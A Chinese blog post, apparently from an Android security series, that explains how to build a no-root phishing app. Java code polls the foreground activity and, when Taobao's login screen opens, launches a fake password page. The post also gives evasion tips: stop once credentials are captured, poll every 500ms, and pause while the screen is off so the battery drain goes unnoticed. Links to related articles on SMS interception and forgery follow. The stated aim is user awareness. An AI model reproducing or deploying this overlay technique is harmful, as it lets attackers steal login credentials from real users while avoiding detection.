导读:文本介绍一种钓鱼应用,讲述如何骗取用户的用户名和密码,无须root

这个话题是继续android安全问题(二) 程序锁延伸的

之前我已经展示了如何制作程序锁。当打开指定应用的时候,弹出一个密码页面。

程序锁的话题虽然是和安全相关,但是这应该属于防范的范围,如果被人恶意利用,那么后果……

这期我来揭示一下一种钓鱼程序的原理,希望广大用户不要上当受骗,最主要的是:希望大家意识到安全问

之前我用定时扫描activity的方法来检查打开的页面是不是我们所需要的页面

ComponentName topActivity = mActivityManager.getRunningTasks().get().topActivity;

如何用于钓鱼呢?比如我打开了淘宝,然后想登录,查看一下我淘宝,这时候会打开下面这个页面

从log中我们能得到其包和类的信息

log 写道

- ::14.698: I/ActivityManager(): Displayed com.taobao.taobao/com.taobao.tao.LoginActivity: +305ms

恩,这就好办了,下面我只需改三处,程序锁这个应用就会变成调用应用

第一个修改很简单,修改我们监听的包名和类名即可

String testPackageName = "com.taobao.taobao";
String testClassName = "com.taobao.tao.LoginActivity";

完整代码

public class LockTask extends TimerTask {
public static final String TAG = "LockTask";
private Context mContext;
String testPackageName = "com.taobao.taobao";
String testClassName = "com.taobao.tao.LoginActivity"; private ActivityManager mActivityManager; public LockTask(Context context) {
mContext = context;
mActivityManager = (ActivityManager) context.getSystemService("activity");
} @Override
public void run() {
ComponentName topActivity = mActivityManager.getRunningTasks().get().topActivity;
String packageName = topActivity.getPackageName();
String className = topActivity.getClassName();
Log.v(TAG, "packageName" + packageName);
Log.v(TAG, "className" + className); if (testPackageName.equals(packageName)
&& testClassName.equals(className)) {
Intent intent = new Intent();
intent.setClassName("com.example.locktest", "com.example.locktest.PasswordActivity");
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
mContext.startActivity(intent);
}
}
}

第二个修改有些技术含量,可能会需要一个专业的美工,来仿造一个淘宝的登录页面,就如上图所示的那样

最后一个修改,当病毒获取了用户名和密码之后,就不要再继续监听了,不然次数多了肯定会被发现

为了尽量不让用户察觉,可以把频率调高一些,比如500ms检查一次,这样用户就很难察觉了

测试项目完整源码见附件,代码是以android4.0为基础写的(当然,我的钓鱼页面是简陋的,只是用于演示)

无论是程序锁还是钓鱼程序,他们可能都担心耗电问题,因为耗电过多也会引起用户的注意

我们可以降低检查频率(当然,钓鱼程序是不会这么干的)

我们可以监控屏幕状态,当屏幕关闭的时候,我们可以停止监听,这时候也没有必要监听,当点亮的时候我们再监听

如何监听屏幕状态?

我们需要监听下面两个action

Intent.ACTION_SCREEN_OFF

Intent.ACTION_SCREEN_ON

还有一个要求,就是要动态注册才可以,不能在manifest中注册

其余的事情大家就自己实现吧

Android安全问题 钓鱼程序的更多相关文章

  1. Android安全问题 抢先拦截短信

    同上篇文章一样,这里只陈述结果,代码分析稍后给出 导读:本文叙述如何先于某些伪杀毒软件.病毒.常规软件获取到短信 众所周知,android系统在收到短信息的时候会发送广播,但是此广播是有序广播,也就是 ...

  2. android安全问题(八)伪造短信(利用原生android4.0漏洞)

    导读:本文利用android4.0的一个原生漏洞来伪造短信.无须声明任何权限即可伪造发送方为任何号码的短信给用户. android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之 ...

  3. pc端和android端应用程序测试有什么区别?(ps面试题)

    pc端和android端应用程序测试有什么区别?(ps面试题) [VIP7]大连-凭海临风(215687736) 2014/4/10 8:56:171.测试环境不同PC平台一般都是windows an ...

  4. 分享50款 Android 移动应用程序图标【下篇】

    在这个移动程序流行的时代,持续增长的应用程序经济充满了商业机遇.任何对应用程序设计感兴趣的人,将会喜欢上这里的50个独特的 Android 应用程序图标.这些例子中的图标能够让应用程序的设计更具吸引力 ...

  5. 分享50款 Android 移动应用程序图标【上篇】

    在这个移动程序流行的时代,持续增长的应用程序经济充满了商业机遇.任何对应用程序设计感兴趣的人,将会喜欢上这里的50个独特的 Android 应用程序图标.这些例子中的图标能够让应用程序的设计更具吸引力 ...

  6. Java和Android Http连接程序:使用java.net.URL 下载服务器图片到客户端

    Java和Android Http连接程序:使用java.net.URL 下载服务器图片到客户端 本博客前面博文中利用org.apache.http包中API进行Android客户端HTTP连接的例子 ...

  7. 解决IE apk变成zip:Android 手机应用程序文件下载服务器Nginx+Tomcat配置解决方法

    APK文件其实是zip格式,但后缀名被修改为apk,通过UnZip解压后,可以看到Dex文件,Dex是Dalvik VM executes的全称,即Android Dalvik执行程序,并非Java ...

  8. 解决IE apk变成zip:Android 手机应用程序文件下载服务器 配置解决方法

    APK文件其实是zip格式,但后缀名被修改为apk,通过UnZip解压后,可以看到Dex文件,Dex是Dalvik VM executes的全称,即Android Dalvik执行程序,并非Java ...

  9. Android Camera 相机程序编写

    Android Camera 相机程序编写 要自己写一个相机应用直接使用相机硬件,首先应用需要一个权限设置,在AndroidManifest.xml中加上使用设备相机的权限: <uses-per ...

随机推荐

  1. C++ 宽字符(wchar_t)与窄字符(char)的转换

    了解 长度 宽字符wchar_t的长度16位,可以用来显示中文等除英文外的其他文字, 窄字符    char   的长度  8 位,只能处理英文. 哪里可以见到 在VS2010, 2012, 2013 ...

  2. makefile--编码修改-空格出现错误

    "makefile", line 40: make: 1254-055 Dependency line needs colon or double colon operator. ...

  3. 2014-10 u-boot make xxx_defconfig 过程分析

    /** ****************************************************************************** * @author    Maox ...

  4. YII框架源码分析(百度PHP大牛创作-原版-无广告无水印)

           YII 框架源码分析    百度联盟事业部——黄银锋 目 录 1. 引言 3 1.1.Yii 简介 3 1.2.本文内容与结构 3 2.组件化与模块化 4 2.1.框架加载和运行流程 4 ...

  5. angularJs--$on、$emit和$broadcast的使用

    $emit只能向parent controller传递event与data $broadcast只能向child controller传递event与data $on用于接收event与data 例子 ...

  6. u3d 2d序列动画代码

    using UnityEngine; using System.Collections; public class AniSprite : MonoBehaviour { private float ...

  7. [转]JAVA布局模式:GridBagConstraints终极技巧

    最近正在 修改<公交线路查询系统>,做系统的时候都是用NULL布局,由于NULL布局调用windows系统的API,所以生成的程序无法在其他平台上应用,而 且如果控件的数量很多,管理起来也 ...

  8. (转)Qt Model/View 学习笔记 (三)——Model类

    Model类 基本概念 在model/view构架中,model为view和delegates使用数据提供了标准接口.在Qt中,标准接口QAbstractItemModel类中被定义.不管数据在底层以 ...

  9. Oracle中SAVEPOINT和ROLLBACK用法

    savepoint是事务内部允许部分rollback的标志符.因为事务中对记录做了修改,我们可以在事务中创建savepoint来标识不同的点.如果遇到错误,就可以rollback到不同的点或直接回来事 ...

  10. jquer ajax

    function SetValue() { var strCodeName = $("#MainContent_ddlFullNameAndFullName").val(); ) ...